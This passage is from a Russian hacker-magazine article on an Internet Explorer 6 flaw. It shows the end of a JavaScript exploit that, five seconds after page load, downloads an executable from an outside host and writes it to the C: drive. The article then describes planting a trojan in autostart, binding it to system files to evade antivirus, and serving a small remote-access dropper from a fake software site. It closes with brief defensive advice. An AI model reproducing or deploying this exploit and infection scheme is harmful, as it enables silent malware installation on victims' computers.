Ослик IE: залей через меня троян

CuTTer (cutter@real.xakep.ru)

Xakep, номер #058, стр. 058-056-2

line = line.replace(/\s+$/,"");

line = line.replace(/'/g,"\\'");

line = line.replace(/[\\]/g,"\\\\");

line = line.replace(/[/]/g,"%2f");

// Меняем символы про помощи регулярных выражений

if (line != '') {

result += line +'\\r\\n';

}

// Строка не пустая - добавляем конец строки

}

return result;

// Возвращаем результат

}

function doit() {

mycode = preparecode(document.all.code.value);

myURL = "file:javascript:eval('" + mycode + "')";

// Подготовили урл для скачки и заливки файлов

window.open(myURL, "_media")

// Открываем этот урл

}

setTimeout("doit()", 5000);

// Вызываем функцию doit через 5 секунд

</script>

Этот код встраивается в любой html-файл. Страница загружается, через 5 секунд запускается код. Браузер отошлет GET-запрос для загрузки файла по адресу www.example.com/1.exe и запишет результат скачки в корень диска C: в виде исполняемого exe’шника example.exe.

Хакер с трояном

Что же сделает хакер? Скорее всего, он зальет жертве троян и поместит его в автозапуск. Тогда при следующей загрузке компа троян запустится, и бедный пользователь окажется во власти взломщика. Возможен и другой вариант. Хакер может просто перезаписать какую-нибудь часто используемую утилиту. Например, explorer.exe или wmplayer.exe. Троян будет содержать в себе реально работающую программу, плюс самого трояна. Делается это при помощи каких-нибудь joiner’ов, которых в инете полно. К тому же практически каждый из них выложен вместе с сорсами самой программы. Соответственно, берется какой-нибудь VC++/BC++/Delphi, все это добро компилится, и антивирусы оказываются в пролете.

Вот пример возможного развития событий. Хакер создает сайт с полезным софтом. Вставляет в страницу загрузки файлов вышеописанный сплоит. В нем прописывает для скачки микротроян rat на 5 Кб. Жертва заходит на сайт, троян сохраняется у нее в автозапуске. После следующей перезагрузки компа rat медленно, порциями, скачивает другой троян, который уже позволяет полноценно админить систему. Запускает его, после чего удаляет себя. Пользователь просто ничего не замечает.

Но это еще не так страшно. Беда заключается в большом количестве пользователей с Windows XP. Их в Сети около 40%. Причем большинство из них пользуются именно шестым Internet Explorer'ом, т.к. он идет в стандартной установке с XP. Отсюда вывод - тысячи пользователей в Сети уязвимы. Это и буржуи, и наши российские пользователи, считающие себя умнее всех на свете.

Хочу защититься

Официального патча от Microsoft на момент написания статьи не было (21 сентября). Так что защищаться придется путем изменения политик безопасности в самом браузере. Самое главное - отруби возможность использования ActiveX. Так ты оградишь себя от множества проблем. Во-первых, защитишься от подобного эксплоита. Во-вторых, на кряк-серверах тебя перестанут мучить сообщениями с просьбой слить их бесплатный ActiveX порнопроигрыватель :).

Можно просто перейти на другой браузер. Благо аналоги есть, и они практически не уступают по своим возможностям эксплореру. Поставь себе Mozilla (www.mozilla.org) или Opera (www.opera.com). Правда, когда у тебя возникнет необходимость использовать ActiveX, то придется вернуться к IE (например, если ты пользуешься WM, там для перевода денег в банк необходимо логиниться на сайте; для этого используется ActiveX элемент, который просто не работает с мозиллой и оперой), но такое бывает не часто.